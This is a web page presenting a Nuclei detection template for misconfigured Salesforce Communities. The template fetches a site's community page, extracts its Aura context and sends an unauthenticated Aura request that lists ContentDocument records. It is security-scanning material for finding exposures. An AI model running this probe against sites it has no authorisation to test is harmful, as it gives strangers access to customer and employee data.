Skip to content

Salesforce Community Misconfiguration

ID: salesforce-community-misconfig

Severity: medium

Author: domwhewell-sage

Tags: aura,unauth,salesforce,exposure,misconfig

A misconfigured Salesforce Community may lead to sensitive Salesforce data being exposed to anyone on the internet. Anonymous users can query objects that contain sensitive information such as customer lists, support cases, and employee email addresses.

id: salesforce-community-misconfig
info:
name: Salesforce Community Misconfiguration
author: domwhewell-sage
severity: medium
description: |
A misconfigured Salesforce Community may lead to sensitive Salesforce data being exposed to anyone on the internet. Anonymous users can query objects that contain sensitive information such as customer lists, support cases, and employee email addresses.
reference:
- https://www.varonis.com/blog/abusing-salesforce-communities
- https://www.enumerated.de/index/salesforce
metadata:
verified: true
publicwww-query: sfsites
tags: aura,unauth,salesforce,exposure,misconfig
variables:
actions: '{"actions":[{"id":"{{randstr}}","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ContentDocument","layoutType":"FULL","pageSize":20,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}'
http:
- method: GET
path:
- "{{RootURL}}/s/"
redirects: true
max-redirects: 1
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: aura_context
part: body
group: 1
regex:
- '\/s\/sfsites\/l\/([a-zA-Z0-9\-_~.%]+)\/[^\/]+\.js'
internal: true
- method: POST
path:
- "{{RootURL}}/s/sfsites/aura"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
message={{url_encode(actions)}}&aura.context={{aura_context}}&aura.token=null
matchers:
- type: word
part: body
words:
- "recordTypeInfo"
# digest: 490a00463044022033c245833c4c5e5957fc02934bbd369c0364744ce5b60059dc9edd18b95ca98302205be611f40a3ac6bd25166bb97dc83f09bb7b5f5a085311b4ce0154a0d639151f:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/salesforce-community-misconfig.yaml"

View on Github